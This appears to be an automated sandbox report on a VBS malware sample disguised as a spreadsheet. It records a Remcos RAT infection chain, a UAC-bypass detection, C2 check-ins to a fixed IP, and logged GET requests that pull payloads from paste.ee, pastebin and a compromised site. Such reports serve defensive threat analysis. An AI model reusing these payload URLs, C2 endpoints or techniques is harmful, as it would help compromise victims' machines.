Windows Analysis Report
SKMBT_77122012816310TD0128_17311_XLS.vbs

AI detected suspicious sample

Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3436475205.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\1210\logs.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

20_2_004338C8

Source: powershell.exe, 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_ea886d74-4

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00407538 _wcslen,CoGetObject,

20_2_00407538

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.247.100:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.6:49732 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	20_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	20_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	20_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	20_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	20_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00407877 FindFirstFileW,FindNextFileW,	20_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0044E8F9 FindFirstFileExA,	20_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	20_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	20_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	20_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

20_2_00407CD2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49726 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49730 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49734 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49736 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49725 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49735 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49743 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49744 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49746 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49729 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49754 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49745 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49747 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49766 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49772 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49760 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49751 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49767 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49741 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49770 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49737 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49756 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49763 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49739 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49775 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49771 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49762 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49758 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49750 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49759 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49757 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49748 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49740 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49773 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49755 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49776 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49769 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49753 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49764 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49774 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49731 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49749 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49733 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49761 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.6:49765 -> 212.162.149.163:2404
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49717 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.6:49722 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 173.231.247.100:443 -> 192.168.2.6:49719
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 173.231.247.100:443 -> 192.168.2.6:49719

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 212.162.149.163

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: pastebin.com

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 191.252.83.213 ports 60509,1,2,60575,60261,21

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.powershell.exe.1bdb03863b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1bdb17aa240.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.199619d7e98.2.raw.unpack, type: UNPACKEDPE

Source: global traffic	TCP traffic: 192.168.2.6:49712 -> 191.252.83.213:60575
Source: global traffic	TCP traffic: 192.168.2.6:49725 -> 212.162.149.163:2404

Source: global traffic	HTTP traffic detected: GET /d/RdlsG/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/b5xuX/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /wp-includes/customize/css/bd.txt HTTP/1.1Host: www.gratitudeseekers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/Ga0HE/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: UNREAL-SERVERSUS UNREAL-SERVERSUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49717 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49722 -> 188.114.97.3:443

Source: unknown

FTP traffic detected: 191.252.83.213:21 -> 192.168.2.6:49711 220 "Servico de FTP da Locaweb"

Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.163

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041B411 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

20_2_0041B411

Source: global traffic	HTTP traffic detected: GET /d/RdlsG/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/b5xuX/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /wp-includes/customize/css/bd.txt HTTP/1.1Host: www.gratitudeseekers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/Ga0HE/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ftp.desckvbrat.com.br
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: www.gratitudeseekers.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: powershell.exe, 00000004.00000002.2341736438.000001BDB161F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://desckvbrat.com.br
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB161F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.desckvbrat.com.br
Source: RegAsm.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gratitudeseekers.com
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1A11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3016225827.000001BDBFF8C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2756972243.000001ABF1B4D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2656723724.000001C11006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7B7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 0000000D.00000002.2368812441.000001EB4D7FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000008.00000002.2258056949.0000015EB7A31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2283194941.000001ABE1D02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.3114097341.0000025100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDAFF21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2283194941.000001ABE1AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB61A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2368812441.000001EB4D351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2283194941.000001ABE1D02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.2258056949.0000015EB7A31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gratitudeseekers.com
Source: powershell.exe, 00000008.00000002.2365489324.0000015ECE77E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coE
Source: powershell.exe, 00000002.00000002.3114097341.0000025100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDAFF21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2283194941.000001ABE1AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB61A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2368812441.000001EB4D351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
